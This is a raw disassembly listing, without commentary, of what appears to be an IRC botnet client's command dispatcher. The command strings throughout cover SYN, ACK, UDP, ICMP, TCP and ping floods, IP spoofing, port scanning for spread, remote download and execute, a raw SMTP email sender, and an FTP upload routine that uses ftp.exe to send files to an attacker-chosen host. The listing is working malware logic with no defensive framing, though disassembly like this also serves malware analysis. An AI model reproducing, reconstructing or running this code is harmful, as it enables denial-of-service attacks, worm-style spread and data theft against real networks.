loc_40E705: ; CODE XREF: sub_40C50A+2158j
push edi
push offset aSend_1 ; "send"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E74D
cmp [ebp+arg_18], ebx
jz short loc_40E746
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40AD78
push eax
lea eax, [ebp+var_2DC]
push offset aS_23 ; "%s"
push eax
call sub_418D70
add esp, 1Ch
jmp short loc_40E760
; ---------------------------------------------------------------------------
loc_40E746: ; CODE XREF: sub_40C50A+220Fj
push offset aNetNoMessageSp ; "[NET]: No message specified."
jmp short loc_40E752
; ---------------------------------------------------------------------------
loc_40E74D: ; CODE XREF: sub_40C50A+220Aj
push offset aNetCommandUnkn ; "[NET]: Command unknown."
loc_40E752: ; CODE XREF: sub_40C50A+1F99j
; sub_40C50A+201Dj ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
pop ecx
pop ecx
loc_40E760: ; CODE XREF: sub_40C50A+1FA1j
; sub_40C50A+1FFBj ...
cmp [ebp+var_8], ebx
jnz short loc_40E781
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_40E781: ; CODE XREF: sub_40C50A+2259j
; sub_40C50A+4864j ...
mov esi, [ebp+arg_24]
loc_40E784: ; CODE XREF: sub_40C50A+935j
; sub_40C50A+4B3Fj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
pop ecx
mov eax, esi
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_40E798: ; CODE XREF: sub_40C50A+1F7Ej
push [ebp+arg_8]
push offset aCapture ; "capture"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410AB6
push [ebp+arg_8]
push offset aCap ; "cap"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410AB6
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4109D2
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4109D2
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40C97C
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410996
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410996
push [ebp+arg_8]
push offset aPrivmsg_2 ; "privmsg"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410943
push [ebp+arg_8]
push offset aPm_0 ; "pm"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410943
push [ebp+arg_8]
push offset aAction ; "action"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4108D5
push [ebp+arg_8]
push offset aA_1 ; "a"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4108D5
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410872
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410872
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410833
push [ebp+arg_8]
push offset aM ; "m"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410833
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4107C8
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4107C8
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410746
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410746
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4106D5
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4106D5
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410689
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410689
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410626
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410626
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410560
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410560
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4104C5
push [ebp+arg_8]
push offset aDe ; "de"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4104C5
push [ebp+arg_8]
push offset aFalehupd ; "falehupd"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410347
push [ebp+arg_8]
push offset aUfalehupdp ; "ufalehupdp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410347
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4102B4
push [ebp+arg_8]
push offset aE ; "e"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4102B4
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4101B6
push [ebp+arg_8]
push offset aFf_0 ; "ff"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4101B6
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410162
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410162
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410067
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410067
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40C97C
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FF7C
push [ebp+arg_8]
push offset aC ; "c"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FF7C
push [ebp+arg_8]
push offset aDdos_syn_0 ; "ddos.syn"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FE77
push [ebp+arg_8]
push offset aDdos_ack_0 ; "ddos.ack"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FE77
push [ebp+arg_8]
push offset aDdos_random_0 ; "ddos.random"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FE77
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FD79
push [ebp+arg_8]
push offset aSyn_0 ; "syn"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FD79
push [ebp+arg_8]
push offset aFalehdownl ; "falehdownl"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FC3B
push [ebp+arg_8]
push offset aFalehdownl2 ; "falehdownl2"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FC3B
push [ebp+arg_8]
push offset aRedirect_0 ; "redirect"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FB41
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FB41
push [ebp+arg_8]
push offset aScan_1 ; "scan"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FA4E
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40FA4E
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F979
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F979
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F864
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F864
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40C97C
push [ebp+arg_8]
push offset aFofofo ; "fofofo"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F505
push [ebp+arg_8]
push offset aF0f0f0 ; "f0f0f0"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F505
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F3E5
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F3E5
push [ebp+arg_8]
push offset aU ; "u"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F3E5
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F2B2
push [ebp+arg_8]
push offset aPing_1 ; "ping"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F2B2
push [ebp+arg_8]
push offset aP ; "p"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F2B2
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F11F
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F11F
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40EF20
lea eax, [ebp+var_3F8]
push edi
push eax
call sub_419FA0
push [ebp+arg_18]
call sub_4195F0
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_DB0]
push eax
call sub_419FA0
push [ebp+arg_10]
lea eax, [ebp+var_BA8]
push eax
call sub_419FA0
push offset asc_441708 ; " "
push offset a__2 ; "_"
push [ebp+esi+var_80]
call sub_409842
push eax
lea eax, [ebp+var_55C]
push eax
call sub_419FA0
add esp, 30h
lea eax, [ebp+var_6EC]
push eax
push 101h
call dword_44B638 ; WSAStartup
lea eax, [ebp+var_3F8]
push eax
call dword_44B744 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_44B740 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_2EC], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2E8], eax
call dword_44B6C0 ; htons
mov [ebp+var_2EA], ax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_BA8]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_15B0]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_418D70
add esp, 1Ch
lea eax, [ebp+var_2EC]
push 10h
push eax
push esi
call dword_44B668 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_44B6D8 ; recv
lea eax, [ebp+var_CAC]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_15B0]
push eax
push esi
call dword_44B710 ; send
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_44B6D8 ; recv
push esi
call dword_44B758 ; closesocket
call dword_44B620 ; WSACleanup
lea eax, [ebp+var_BA8]
push eax
push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s."
loc_40EF0C: ; CODE XREF: sub_40C50A+3B58j
; sub_40C50A+3E38j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
jmp loc_41110A
; ---------------------------------------------------------------------------
loc_40EF20: ; CODE XREF: sub_40C50A+28ACj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F0F1
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40F0F1
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40C97C
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_41263B
push 4
push esi
call sub_405593
pop ecx
test eax, eax
pop ecx
jnz short loc_40EFC6
push esi
push offset aFtpFileNotFoun ; "[FTP]: File not found: %s."
loc_40EF85: ; CODE XREF: sub_40C50A+2D99j
; sub_40C50A+3355j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
loc_40EF94: ; CODE XREF: sub_40C50A+2D7Dj
; sub_40C50A+3339j ...
cmp [ebp+var_8], ebx
jnz short loc_40EFB5
push ebx
push [ebp+var_4]
loc_40EF9D: ; CODE XREF: sub_40C50A+3968j
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_40EFAD: ; CODE XREF: sub_40C50A+5687j
call sub_40842D
add esp, 14h
loc_40EFB5: ; CODE XREF: sub_40C50A+2A8Dj
; sub_40C50A+2ECCj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
jmp loc_4127C8
; ---------------------------------------------------------------------------
loc_40EFC6: ; CODE XREF: sub_40C50A+2A73j
call ds:dword_494308
push eax
call sub_418FF0
pop ecx
call sub_419000
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_419000
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_419000
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_CB0]
push edx
push eax
lea eax, [ebp+var_BAC]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_418D70
lea eax, [ebp+var_BAC]
push offset aAb ; "ab"
push eax
call sub_419D70
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40C97C
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41AD60
push [ebp+arg_24]
call sub_419740
lea eax, [ebp+var_BAC]
push eax
lea eax, [ebp+var_3F8]
push offset aSS_11 ; "-s:%s"
push eax
call sub_418D70
add esp, 2Ch
lea eax, [ebp+var_3F8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_1 ; "open"
push ebx
call dword_44B634
test eax, eax
push edi
push esi
jz short loc_40F090
push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s"
jmp short loc_40F095
; ---------------------------------------------------------------------------
loc_40F090: ; CODE XREF: sub_40C50A+2B7Dj
push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"...
loc_40F095: ; CODE XREF: sub_40C50A+2B84j
call sub_418D70
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40F0BE
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_40F0BE: ; CODE XREF: sub_40C50A+2B96j
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
loc_40F0CA: ; CODE XREF: sub_40C50A+2BE5j
lea eax, [ebp+var_BAC]
push 4
push eax
call sub_405593
add esp, 0Ch
test eax, eax
jz loc_40C97C
lea eax, [ebp+var_BAC]
push eax
call sub_41B720
jmp short loc_40F0CA
; ---------------------------------------------------------------------------
loc_40F0F1: ; CODE XREF: sub_40C50A+2A27j
; sub_40C50A+2A3Ej
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_4195F0
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407D34
jmp loc_412638
; ---------------------------------------------------------------------------
loc_40F11F: ; CODE XREF: sub_40C50A+287Ej
; sub_40C50A+2895j
mov esi, 80h
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_418EF0
lea eax, [ebp+var_678]
push eax
push offset aSyn_1 ; "syn"
call sub_419360
add esp, 14h
test eax, eax
jz short loc_40F182
lea eax, [ebp+var_678]
push eax
push offset aAck ; "ack"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40F182
lea eax, [ebp+var_678]
push eax
push offset aRandom ; "random"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40F182
push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_40F182: ; CODE XREF: sub_40C50A+2C3Ej
; sub_40C50A+2C55j ...
push [ebp+arg_10]
call sub_4195F0
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_40F2A8
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_418EF0
push [ebp+arg_18]
lea eax, [ebp+var_6F8]
push esi
push eax
call sub_418EF0
push [ebp+arg_0]
call sub_4195F0
mov [ebp+var_574], eax
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_418EF0
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_56C], ebx
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40F219
mov eax, offset aNormal ; "Normal"
loc_40F219: ; CODE XREF: sub_40C50A+2D08j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"...
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
push ebx
lea eax, [ebp+var_2DC]
push 0Ch
push eax
call sub_4161EB
add esp, 2Ch
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_4157B0
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40F297
loc_40F281: ; CODE XREF: sub_40C50A+2D8Bj
cmp [ebp+var_560], ebx
jnz loc_40EF94
push 32h
call ds:dword_4942D8
jmp short loc_40F281
; ---------------------------------------------------------------------------
loc_40F297: ; CODE XREF: sub_40C50A+2D75j
call ds:dword_4942F0
push eax
push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"...
jmp loc_40EF85
; ---------------------------------------------------------------------------
loc_40F2A8: ; CODE XREF: sub_40C50A+2C89j
push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_40F2B2: ; CODE XREF: sub_40C50A+2839j
; sub_40C50A+2850j ...
cmp dword_44B7B0, ebx
mov esi, [ebp+arg_4]
jnz loc_40F3BA
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_4191A0
push [ebp+arg_18]
call sub_4195F0
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_4195F0
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_4195F0
push 7Fh
mov [ebp+var_310], eax
push [ebp+var_8C]
lea eax, [ebp+var_418]
push eax
call sub_4191A0
push [ebp+var_310]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 0Eh
push eax
call sub_4161EB
add esp, 48h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B0E5
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40F3A9
loc_40F397: ; CODE XREF: sub_40C50A+2E9Dj
cmp [ebp+var_2FC], ebx
jnz short loc_40F3D3
push 32h
call ds:dword_4942D8
jmp short loc_40F397
; ---------------------------------------------------------------------------
loc_40F3A9: ; CODE XREF: sub_40C50A+2E8Bj
call ds:dword_4942F0
push eax
push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"...
jmp loc_40FF6B
; ---------------------------------------------------------------------------
loc_40F3BA: ; CODE XREF: sub_40C50A+2DB1j
push 1FFh
lea eax, [ebp+var_2DC]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_4191A0
loc_40F3D0: ; CODE XREF: sub_40C50A+3A6Dj
add esp, 0Ch
loc_40F3D3: ; CODE XREF: sub_40C50A+2E93j
; sub_40C50A+2FDAj ...
cmp [ebp+var_8], ebx
jnz loc_40EFB5
push ebx
push [ebp+var_4]
jmp loc_411B83
; ---------------------------------------------------------------------------
loc_40F3E5: ; CODE XREF: sub_40C50A+27F4j
; sub_40C50A+280Bj ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_4191A0
push [ebp+arg_18]
call sub_4195F0
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_4195F0
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_4195F0
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_310], eax
jz short loc_40F44A
push esi
call sub_4195F0
pop ecx
mov [ebp+var_30C], eax
jmp short loc_40F450
; ---------------------------------------------------------------------------
loc_40F44A: ; CODE XREF: sub_40C50A+2F2Fj
mov [ebp+var_30C], ebx
loc_40F450: ; CODE XREF: sub_40C50A+2F3Ej
push 7Fh
lea eax, [ebp+var_418]
push [ebp+var_8C]
push eax
call sub_4191A0
push [ebp+var_310]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 0Fh
push eax
call sub_4161EB
add esp, 30h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B271
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40F4F4
loc_40F4DE: ; CODE XREF: sub_40C50A+2FE8j
cmp [ebp+var_2FC], ebx
jnz loc_40F3D3
push 32h
call ds:dword_4942D8
jmp short loc_40F4DE
; ---------------------------------------------------------------------------
loc_40F4F4: ; CODE XREF: sub_40C50A+2FD2j
call ds:dword_4942F0
push eax
push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"...
jmp loc_40FF6B
; ---------------------------------------------------------------------------
loc_40F505: ; CODE XREF: sub_40C50A+27C6j
; sub_40C50A+27DDj
push 8
call sub_416433
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_4195F0
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 258h
jle short loc_40F558
push [ebp+arg_8]
lea eax, [ebp+var_2DC]
push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
loc_40F550: ; CODE XREF: sub_40C50A+4487j
add esp, 20h
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_40F558: ; CODE XREF: sub_40C50A+3017j
push edi
call sub_4195F0
push [ebp+arg_18]
mov [ebp+var_330], eax
call sub_4195F0
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_4195F0
add esp, 0Ch
cmp eax, 5
mov [ebp+var_32C], eax
jnb short loc_40F591
push 5
pop eax
mov [ebp+var_32C], eax
loc_40F591: ; CODE XREF: sub_40C50A+307Cj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40F59E
mov [ebp+var_32C], ecx
loc_40F59E: ; CODE XREF: sub_40C50A+308Cj
push [ebp+arg_10]
call sub_4195F0
mov [ebp+var_328], eax
mov eax, 320h
cmp [ebp+var_328], eax
pop ecx
jbe short loc_40F5C0
mov [ebp+var_328], eax
loc_40F5C0: ; CODE XREF: sub_40C50A+30AEj
or [ebp+var_314], 0FFFFFFFFh
cmp dword_436158, ebx
mov [ebp+arg_0], ebx
jz short loc_40F616
mov [ebp+arg_24], offset dword_436158
loc_40F5D9: ; CODE XREF: sub_40C50A+30EEj
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40F5FC
add [ebp+arg_24], 3Ch
inc [ebp+arg_0]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_40F5D9
jmp short loc_40F616
; ---------------------------------------------------------------------------
loc_40F5FC: ; CODE XREF: sub_40C50A+30E0j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_436158[ecx]
mov [ebp+var_330], ecx
loc_40F616: ; CODE XREF: sub_40C50A+30C6j
; sub_40C50A+30F0j
cmp [ebp+var_330], ebx
jnz short loc_40F628
push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan, port is i"...
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_40F628: ; CODE XREF: sub_40C50A+3112j
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40F663
cmp byte ptr [edi], 23h
jz short loc_40F663
push edi
lea eax, [ebp+var_444]
push 10h
push eax
call sub_418EF0
push 78h
push edi
call sub_4199F0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_304], eax
jmp loc_40F737
; ---------------------------------------------------------------------------
loc_40F663: ; CODE XREF: sub_40C50A+3127j
; sub_40C50A+312Cj
cmp [ebp+var_9C7], bl
jnz short loc_40F685
cmp [ebp+var_9C6], bl
jnz short loc_40F685
cmp [ebp+var_9B6], bl
jnz short loc_40F685
push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, no IP spe"...
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_40F685: ; CODE XREF: sub_40C50A+315Fj
; sub_40C50A+3167j ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_44B664 ; getsockname
mov al, [ebp+var_9C7]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_444]
push eax
call sub_4191A0
add esp, 0Ch
cmp [ebp+var_9B6], bl
jz short loc_40F731
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_419170
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40F725
loc_40F703: ; CODE XREF: sub_40C50A+3219j
cmp eax, ebx
jz short loc_40F725
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_419170
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40F703
loc_40F725: ; CODE XREF: sub_40C50A+31F7j
; sub_40C50A+31FBj
mov [ebp+var_304], 1
jmp short loc_40F737
; ---------------------------------------------------------------------------
loc_40F731: ; CODE XREF: sub_40C50A+31D1j
mov [ebp+var_304], ebx
loc_40F737: ; CODE XREF: sub_40C50A+3154j
; sub_40C50A+3225j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_334], eax
mov eax, [ebp+var_4]
mov [ebp+var_30C], eax
mov eax, [ebp+var_8]
mov [ebp+var_308], eax
mov edi, 80h
lea eax, [ebp+var_434]
push edi
push eax
call sub_418EF0
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40F788
loc_40F775: ; CODE XREF: sub_40C50A+32A1j
push esi
loc_40F776: ; CODE XREF: sub_40C50A+328Bj
lea eax, [ebp+var_3B4]
push edi
push eax
call sub_418EF0
add esp, 0Ch
jmp short loc_40F7B3
; ---------------------------------------------------------------------------
loc_40F788: ; CODE XREF: sub_40C50A+3269j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40F797
cmp byte ptr [eax], 23h
jnz short loc_40F797
push eax
jmp short loc_40F776
